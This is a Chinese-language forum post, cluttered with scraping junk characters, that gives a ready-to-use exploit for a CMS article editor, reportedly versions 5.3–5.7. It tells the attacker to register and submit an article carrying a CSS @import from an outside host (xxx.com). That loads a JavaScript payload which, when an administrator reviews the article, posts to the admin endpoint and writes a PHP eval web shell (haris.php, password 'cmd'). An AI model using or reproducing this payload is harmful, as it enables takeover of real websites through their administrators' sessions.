<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
+ X! S, L9 `$ M9 z D7 w为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
# K+ x( `! h* ~( l. E- e目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。% y7 g U2 j# D
下面说说利用方法。 U+ ~% s3 c- Z3 ]& R
条件有2个:& j' B; S7 O! ?1 @
1.开启注册% l1 o, V4 q# W. Z5 X q
2.开启投稿; _/ v6 J- g+ B% _$ K! ~) I# H
注册会员----发表文章
8 R0 ?* Y- X5 n' `! r2 O j7 m! G内容填写:
' D6 x: t" Q! S5 s- z( f复制代码: m2 p6 {- N/ T& w
<style>@im\port'\http://xxx.com/xss.css';</style>9 y, b$ B8 R7 R% ]6 ^, b: s
新建XSS.Css
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0 X" k7 G" i% @.body{+ u1 j+ |+ g* A, J% D% o2 p5 ?
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }$ |* g+ C; y0 x0 n1 E1 m
新建xss.js 内容为* i( w( J( x8 X8 s0 L' L
复制代码
/ m7 y* c/ o1 q9 u' c1.var request = false;7 d" S2 p2 @4 O6 q
2.if(window.XMLHttpRequest) {9 \+ _0 w; n6 |
3.request = new XMLHttpRequest();
2 f' b1 w6 ~% p! w; z' K7 ?" k4.if(request.overrideMimeType) {
+ \1 B( O( X/ [. D4 C" e5.request.overrideMimeType('text/xml');- p" i2 a3 I* H0 O l
6.}
5 @% k' g' [, r/ p1 |5 ^4 A" j* o. `7.} else if(window.ActiveXObject) {
# \' B/ J9 U/ m: d$ m8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
( T3 N, R" V7 c/ t8 k2 S% v5 _9.for(var i=0; i<versions.length; i++) {+ [, K4 M( u7 R% F4 h: }, x0 A
10.try {
; Y3 m. D3 [! A4 D1 Y) y+ G5 i( ~* ^11.request = new ActiveXObject(versions);( T2 d$ d5 I0 B; j$ e; _) R4 ?
12.} catch(e) {}: z% U5 C) e, I9 Q, u
13.}6 | _ {) q1 {. H
14.}2 C c$ w5 t! ?" P7 J9 F8 W
15.xmlhttp=request;
$ Z% u! }& m7 n2 ?16.function getFolder( url ){
5 K b* r- m0 Z! j- s' q# ^17. obj = url.split('/')
8 T; Q( _; c. _, d# N5 r4 m18. return obj[obj.length-2]7 Q) W: p: K P. x' x
19.}
, w6 M3 x, n: q4 }1 |# y3 A20.oUrl = top.location.href;
; v4 x" W& X, P# ^0 u21.u = getFolder(oUrl);
9 G& P/ n1 Q; }22.add_admin();
8 M! W0 ^9 C# l23.function add_admin(){
1 W. n; b! M# w; J- L+ P24.var url= "/"+u+"/sys_sql_query.php";
! J( z4 `+ W; ?# X25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";$ k- S C8 o3 D2 V' G
26.xmlhttp.open("POST", url, true);
" ?: v- s4 q. | S$ R( f27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
% Z* I; A$ G$ o3 K" G, Z# k p28.xmlhttp.setRequestHeader("Content-length", params.length);3 F8 D# A; B9 m/ K9 d4 x/ B; y
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");. _4 c5 {% H, P/ N+ L- C
30.xmlhttp.send(params);4 D* U; v. \9 N( I
31.}5 r2 l: N3 u' H- [3 M, R+ ~
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |